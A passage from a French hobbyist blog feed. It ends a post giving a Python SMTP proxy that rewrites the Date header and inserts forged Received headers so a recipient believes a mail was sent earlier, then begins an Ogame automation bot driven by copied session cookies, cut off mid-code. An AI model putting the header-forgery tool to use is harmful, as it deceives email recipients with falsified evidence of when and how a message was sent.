</ol>
</div>
<p>et l&#8217;exemple d&#8217;utilisation pour le header en question :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>nomDuScript <span class="nu0">127.0</span><span class="nu0">.0</span><span class="nu0">.1</span> <span class="nu0">25</span> <span class="st0">&quot;Fri, 19 Mar 2010 23:59:58 +0000&quot;</span> headers</div>
</li>
</ol>
</div>
<p>Qui permettra de faire croire à votre correspondant ici lolmaster@kikoo.rox :</p>
<ul>
<li>que vous avez envoyé votre mail vendredi 19 mars 2010 à 23h59, par votre machine nommée &laquo;&nbsp;kikoo.lol.rox&nbsp;&raquo; à l&#8217;ip 10.3.3.7</li>
<li>que le mail a été reçu à minuit par le serveur smtp à l&#8217;ip 1.3.3.7 nommé &laquo;&nbsp;lol.kikoo.rox&nbsp;&raquo;</li>
<li>puis, que le mail a été relayé à 01h02 par le serveur smtp nommé &laquo;&nbsp;leskikoolol.attaqu.ent&nbsp;&raquo;</li>
</ul>
<p>Ce qui expliquera au correspondant le temps de latence entre l&#8217;envoi du mail et sa réception. (Faudra bien sûr changer les infos pour coller à la réalité ^^)</p>
<p>Le script, qui créé un serveur SMTP sur le port 8025 (il faudra configurer votre client mail pour utiliser le serveur SMTP 127.0.0.1 sur le port 8025) :</p>
<div class="geshi no python">
<div class="head">#!/usr/bin/env python</div>
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">smtpd</span> <span class="kw1">import</span> PureProxy</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asyncore</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asynchat</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">smtplib</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> mySMTP <span class="br0">&#40;</span>PureProxy<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s,n,d,f=<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">date</span> = d</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">self</span>.<span class="me1">serv</span> = n</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">self</span>.<span class="me1">fich</span> = f</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; PureProxy.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s,<span class="kw2">None</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> process_message <span class="br0">&#40;</span><span class="kw2">self</span>, peer, mailfrom, rcpttos, data<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;p = <span class="kw3">re</span>.<span class="kw2">compile</span><span class="br0">&#40;</span><span class="st0">&quot;Date: .*&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;data = p.<span class="me1">sub</span><span class="br0">&#40;</span><span class="st0">&quot;Date: &quot;</span>+<span class="kw2">self</span>.<span class="me1">date</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> <span class="kw2">self</span>.<span class="me1">fich</span> <span class="sy0">!</span>=<span class="st0">&quot;&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = <span class="kw2">open</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">fich</span>,<span class="st0">&#39;r&#39;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;t = f.<span class="me1">read</span><span class="br0">&#40;</span><span class="nu0">1024</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;f.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;data = t + data</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;Message + header: &quot;</span>+data</div>
</li>
<li class="li1">
<div class="de1">&nbsp;smtpSender = <span class="kw3">smtplib</span>.<span class="me1">SMTP</span><span class="br0">&#40;</span> <span class="kw2">self</span>.<span class="me1">serv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="kw2">self</span>.<span class="me1">serv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;smtpSender.<span class="me1">sendmail</span><span class="br0">&#40;</span> mailfrom, rcpttos, data <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;smtpSender.<span class="me1">quit</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">return</span> <span class="kw2">None</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span><span class="sy0">&lt;</span><span class="nu0">4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Il manque des arguments : &quot;</span>+<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>+<span class="st0">&quot; &#39;serveur smtp&#39;,&#39;port&#39;,&#39;date&#39;[, &#39;fichier header&#39;]&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">sys</span>.<span class="me1">exit</span><span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> == <span class="nu0">4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv = mySMTP <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;127.0.0.1&quot;</span>, <span class="nu0">8025</span><span class="br0">&#41;</span>, <span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> == <span class="nu0">5</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv = mySMTP <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;127.0.0.1&quot;</span>, <span class="nu0">8025</span><span class="br0">&#41;</span>, <span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">try</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">asyncore</span>.<span class="me1">loop</span> <span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">KeyboardInterrupt</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pass</span></div>
</li>
</ol>
</div>
<p>Amusez-vous bien <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=762">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/envoyer-des-sms-via-google-calendar-et-php-socket-party/" rel="bookmark" title="Permanent Link: Envoyer des sms via google calendar et php &#8230; socket party ^^">Envoyer des sms via google calendar et php &#8230; socket party ^^</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/fork-et-php-utile/" rel="bookmark" title="Permanent Link: Fork et PHP utile ??">Fork et PHP utile ??</a></li><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/" rel="bookmark" title="Permanent Link: Ossec et Iptables : ban à durée variable">Ossec et Iptables : ban à durée variable</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/php-programmation/marre-du-spam-sur-wordpress/" rel="bookmark" title="Permanent Link: Marre du spam sur wordpress ??">Marre du spam sur wordpress ??</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mon apprentissage de python avec Ogame ^^</title>
		<link>http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 18:58:51 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[ogame]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=630</guid>
		<description><![CDATA[The kikoolol strike back !! Mon deuxième billets de la soirée &#8230;pour pas grand chose en fait. J&#8217;ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame &#8230; rien d&#8217;illégal bien entendu ^^. Dans le code Python qui va suivre, vous pourrez comprendre [...]]]></description>
			<content:encoded><![CDATA[<p>The kikoolol strike back !! Mon deuxième billets de la soirée &#8230;pour pas grand chose en fait.</p>
<p>J&#8217;ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame &#8230; rien d&#8217;illégal bien entendu ^^.<br />
Dans le code Python qui va suivre, vous pourrez comprendre (ou pas) comment fonctionne :</p>
<ul>
<li>Les requêtes HTTP en python avec des headers à partir de zéro</li>
<li>Les Threads pour les opérations en parallèle</li>
<li>Les Semaphores, pour éviter des requêtes en parallèle (pas apprécié par Ogame dans certain cas)</li>
</ul>
<p>Pour l&#8217;utiliser, il suffit ensuite d&#8217;ajouter au source qui vont suivre : </p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1">og = Ogame<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">og.<span class="me1">setSessionCookie</span><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le contenu du cookie phpsessid de votre univers&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le contenu du cookie prssess de votre univers&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le contenu du cookie loginC de votre univers&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;le parametre de l&#39;url &amp;session=&#8230;&quot;</span>, </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="st0">&quot;uniXX.ogame.fr&quot;</span>votre<span class="co1">#univers</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">Farmer.<span class="me1">buildInChainsPlanets</span><span class="br0">&#40;</span>og,<span class="br0">&#91;</span><span class="st0">&quot;id planete&quot;</span>,<span class="st0">&quot;id planete&quot;</span><span class="br0">&#93;</span>,<span class="br0">&#91;</span><span class="br0">&#91;</span><span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span><span class="br0">&#93;</span>,<span class="br0">&#91;</span><span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span>,<span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>le premier paramètre de buildInChainsPlanets est l&#8217;objet og<br />
le second est un tableau de string contenant l&#8217;id des planètes à &laquo;&nbsp;farmer&nbsp;&raquo;<br />
le troisième est un tableau de tableau contenant les séquences des batiments à construire :<br />
1 pour le metal 2 pour le cristal 3 pour le deuterium 4 pour l&#8217;electricite.</p>
<p>Et voilà &#8230; lorsque vous aurez conquis une planète rajoutez-là au tableau ainsi que la séquence de batiments que vous voulez, puis laissez tourner le script plusieurs jours (faite gaffe avec les sessions qui risque de changer si vous vous reconnectez avec votre navigateur).<br />
<span id="more-630"></span></p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1"># -*- coding:Utf-8 -*-</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">threading</span> <span class="kw1">import</span> Thread</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">threading</span> <span class="kw1">import</span> Semaphore</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">random</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">httplib</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">time</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> Ogame:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">userAgent</span> = <span class="st0">&quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a1pre) Gecko/20091021 Ubuntu/9.10 (karmic) Minefield/3.7a1pre&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">login</span> &nbsp; &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">password</span> &nbsp;= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">PHPSessId</span> = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">prSess</span> &nbsp; &nbsp;= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">loginString</span>= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">session</span> &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">urlGame</span> &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">univers</span> &nbsp; = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">cookie</span> &nbsp; &nbsp;= <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">referer</span> = <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> setSessionCookie<span class="br0">&#40;</span><span class="kw2">self</span>,sessid=<span class="st0">&quot;&quot;</span>,prsess=<span class="st0">&quot;&quot;</span>,loginString=<span class="st0">&quot;&quot;</span>,session=<span class="st0">&quot;&quot;</span>,univers=<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">PHPSessId</span> = sessid</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">prSess</span> &nbsp; &nbsp;= prsess</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">loginString</span>= loginString</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">session</span> &nbsp; = session</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">urlGame</span> &nbsp; = <span class="st0">&quot;/game/index.php?page=overview&amp;session=&quot;</span>+session</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">univers</span> &nbsp; = univers</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">cookie</span> &nbsp; &nbsp;= <span class="st0">&quot;PHPSESSID=&quot;</span>+<span class="kw2">self</span>.<span class="me1">PHPSessId</span>+<span class="st0">&quot;;prsess_165647=&quot;</span>+<span class="kw2">self</span>.<span class="me1">prSess</span>+<span class="st0">&quot;;login_165647=&quot;</span>+<span class="kw2">self</span>.<span class="me1">loginString</span>+<span class="st0">&quot;;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">referer</span> = <span class="st0">&quot;http://&quot;</span>+<span class="kw2">self</span>.<span class="me1">univers</span>+<span class="kw2">self</span>.<span class="me1">urlGame</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> getPlanetResource<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; op = OgamePlanet<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> op.<span class="me1">getResource</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> planetAddBuilding<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span>,batiment<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; op = OgamePlanet<span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> op.<span class="me1">addBuilding</span><span class="br0">&#40;</span>batiment<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> OgamePlanet:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,ogame,<span class="kw2">id</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">planetId</span>=<span class="kw2">id</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">ogame</span>=ogame</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">res</span>=<span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> getPlanets<span class="br0">&#40;</span>ogame<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht = <span class="kw3">httplib</span>.<span class="me1">HTTPConnection</span><span class="br0">&#40;</span>ogame.<span class="me1">univers</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,ogame.<span class="me1">urlGame</span>,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span> <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> game.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span> <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> game.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span> <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> game.<span class="me1">referer</span><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data=rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">select</span>=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;&lt;select[^&gt;]*&gt;([<span class="es0">\w</span><span class="es0">\W</span><span class="es0">\n</span><span class="es0">\t</span><span class="es0">\r</span>]*)&lt;/select&gt;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; res=<span class="kw3">re</span>.<span class="me1">findall</span><span class="br0">&#40;</span><span class="st0">&quot;&amp;cp=([^&amp;]*)&amp;[^&gt;]*&gt;([^&lt;]*)&lt;.*<span class="es0">\[</span>([^<span class="es0">\]</span>]*)<span class="es0">\]</span>&quot;</span>,<span class="kw3">select</span>.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> res</div>
</li>
<li class="li1">
<div class="de1">&nbsp;getPlanets = <span class="kw2">staticmethod</span><span class="br0">&#40;</span>getPlanets<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> getResource<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; reque=<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">urlGame</span>+<span class="st0">&quot;&amp;cp=&quot;</span>+<span class="kw2">self</span>.<span class="me1">planetId</span>+<span class="st0">&quot;&amp;mode=&amp;gid=&amp;messageziel=&amp;re=0&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht = <span class="kw3">httplib</span>.<span class="me1">HTTPConnection</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">univers</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,reque,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span>=reque</div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data=rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; table=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;&lt;table class=&#39;header&#39; id=&#39;resources&#39;[^&gt;]*&gt;([<span class="es0">\w</span><span class="es0">\W</span><span class="es0">\n</span><span class="es0">\t</span><span class="es0">\r</span>]*?)&lt;/table&gt;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; res=<span class="kw3">re</span>.<span class="me1">findall</span><span class="br0">&#40;</span><span class="st0">&quot;&lt;font[^&gt;]*&gt;([.0-9]*)&lt;/font&gt;&quot;</span>,table.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">res</span>=res</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> res</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">#1 metal 2 cristal 3 deuterium 4 electricite</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> addBuilding<span class="br0">&#40;</span><span class="kw2">self</span>, batiment<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht = <span class="kw3">httplib</span>.<span class="me1">HTTPConnection</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">univers</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; url = <span class="st0">&quot;/game/index.php?page=b_building&amp;session=&quot;</span>+<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">session</span>+<span class="st0">&quot;&amp;cp=&quot;</span>+<span class="kw2">self</span>.<span class="me1">planetId</span>+<span class="st0">&quot;&amp;mode=&amp;gid=&amp;messageziel=&amp;re=0&quot;</span></div>
</li>
<li class="li1">
